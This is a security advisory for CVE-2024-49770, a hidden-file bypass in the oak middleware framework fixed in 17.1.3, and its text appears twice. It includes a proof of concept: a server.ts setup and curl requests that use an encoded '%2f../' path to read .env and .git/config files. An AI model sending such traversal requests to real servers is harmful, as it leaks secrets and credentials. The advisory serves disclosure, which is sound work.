CVE-2024-49770

oak is a middleware framework for Deno's native HTTP server, Deno Deploy, Node.js 16.5 and later, Cloudflare Workers and Bun. By default oak does not allow transferring of hidden files with Context.send API. However, prior to version 17.1.3, this can be bypassed by encoding / as its URL encoded form %2F. For an attacker this has potential to read sensitive user data or to gain access to server secrets. Version 17.1.3 fixes the issue.

oak is a middleware framework for Deno's native HTTP server, Deno Deploy, Node.js 16.5 and later, Cloudflare Workers and Bun. By default oak does not allow transferring of hidden files with Context.send API. However, prior to version 17.1.3, this can be bypassed by encoding / as its URL encoded form %2F. For an attacker this has potential to read sensitive user data or to gain access to server secrets. Version 17.1.3 fixes the issue.

Summary

By default oak does not allow transferring of hidden files with Context.send API. However, this can be bypassed by encoding / as its URL encoded form %2F.

Details

1.) Oak uses decodeComponent which seems to be unexpected. This is also the reason why it is not possible to access a file that contains URL encoded characters unless the client URL encodes it first.

2.) The function isHidden is flawed since it only checks if the first subpath is hidden, allowing secrets to be read from subdir/.env.

PoC

// server.ts

import { Application } from "jsr:@oak/[email protected]";

const app = new Application();

app.use(async (context, next) => {
  try {
    await context.send({
      root: './root',
      hidden: false, // default
    });
  } catch {
    await next();
  }
});

await app.listen({ port: 8000 });

In terminal:

# setup root directory
mkdir root/.git
echo SECRET_KEY=oops > root/.env
echo oops >  root/.git/config

# start server
deno run -A server.ts

# in another terminal
curl -D- http://127.0.0.1:8000/poc%2f../.env
curl -D- http://127.0.0.1:8000/poc%2f../.git/config

Impact

For an attacker this has potential to read sensitive user data or to gain access to server secrets.

oak is a middleware framework for Deno's native HTTP server, Deno Deploy, Node.js 16.5 and later, Cloudflare Workers and Bun. By default oak does not allow transferring of hidden files with Context.send API. However, prior to version 17.1.3, this can be bypassed by encoding / as its URL encoded form %2F. For an attacker this has potential to read sensitive user data or to gain access to server secrets. Version 17.1.3 fixes the issue.

oak is a middleware framework for Deno's native HTTP server, Deno Deploy, Node.js 16.5 and later, Cloudflare Workers and Bun. By default oak does not allow transferring of hidden files with Context.send API. However, prior to version 17.1.3, this can be bypassed by encoding / as its URL encoded form %2F. For an attacker this has potential to read sensitive user data or to gain access to server secrets. Version 17.1.3 fixes the issue.

Summary

By default oak does not allow transferring of hidden files with Context.send API. However, this can be bypassed by encoding / as its URL encoded form %2F.

Details

1.) Oak uses decodeComponent which seems to be unexpected. This is also the reason why it is not possible to access a file that contains URL encoded characters unless the client URL encodes it first.

2.) The function isHidden is flawed since it only checks if the first subpath is hidden, allowing secrets to be read from subdir/.env.

PoC

// server.ts

import { Application } from "jsr:@oak/[email protected]";

const app = new Application();

app.use(async (context, next) => {
  try {
    await context.send({
      root: './root',
      hidden: false, // default
    });
  } catch {
    await next();
  }
});

await app.listen({ port: 8000 });

In terminal:

# setup root directory
mkdir root/.git
echo SECRET_KEY=oops > root/.env
echo oops >  root/.git/config

# start server
deno run -A server.ts

# in another terminal
curl -D- http://127.0.0.1:8000/poc%2f../.env
curl -D- http://127.0.0.1:8000/poc%2f../.git/config

Impact

For an attacker this has potential to read sensitive user data or to gain access to server secrets.